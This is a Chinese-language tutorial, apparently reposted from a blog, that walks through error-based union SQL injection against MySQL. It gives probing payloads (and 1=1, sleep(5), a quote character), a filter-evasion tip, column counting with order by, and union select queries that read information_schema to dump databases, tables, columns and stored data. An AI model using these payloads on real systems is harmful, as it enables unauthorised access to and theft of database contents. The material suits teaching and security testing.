mysql显错注入,SQL注入:显错注入
SQL注入的本質(zhì)
就是把用戶輸入的數(shù)據(jù)當(dāng)做代碼執(zhí)行
注入條件
1.用戶能控制輸入
2.能夠?qū)⒊绦蛟緢?zhí)行的代碼,拼接上用戶輸入的數(shù)據(jù)進(jìn)行執(zhí)行
例:
http://www.xxx.com/new.php?id=1
http://www.xxx.com/new.php?id=2-1
注入的基本流程
1.判斷是否存在注入點
1.最古老的方法:
? and 1=1 頁面正常
? and 1=2 頁面不正常
? 注:and 1=1 and 1=2 被攔截的可能性太高了
? 可以嘗試 and -1=-1 and -1=-2或者直接 or sleep(5)
2.最簡單的方法:
? 頁面后面加‘,看是否報錯
3.常用的方法:
? 如果是數(shù)字型傳參,可以嘗試-1
2.猜解字段數(shù)
order by 字段數(shù) //顯示報錯則字段數(shù)為前面一個值
3.聯(lián)合查詢找出注入點
and 1=2 union select 1,2,3,…… //可以將字段都寫上去
4.爆庫、表、字段
查用戶權(quán)限:union select 1,user(),3
查庫:union select 1,database(),3
查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =‘庫名‘),3
查字段:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘庫名‘ and table_name = ‘表名‘),3
5.查詢我們需要的數(shù)據(jù)
查數(shù)據(jù):union select 1,(select group_concat(字段1,字段2) from 庫名.表名),3
注入常用函數(shù):
group_concat(字段1,字段2) //返回由屬于一組的列值連接組合而成的結(jié)果
ASCII(char) //返回字符的ASCII碼值
DATABASE() //返回當(dāng)前數(shù)據(jù)庫名
USER()或SYSTEM_USER() //返回當(dāng)前登陸用戶名
VERSION() //返回MySQL服務(wù)器的版本
SLEEP(n) //休眠n秒
原文:https://www.cnblogs.com/yanlzy/p/11884291.html
總結(jié)
以上是生活随笔為你收集整理的mysql显错注入,SQL注入:显错注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql启动错误1.69,MySQL无
- 下一篇: boot jndi数据源 spring_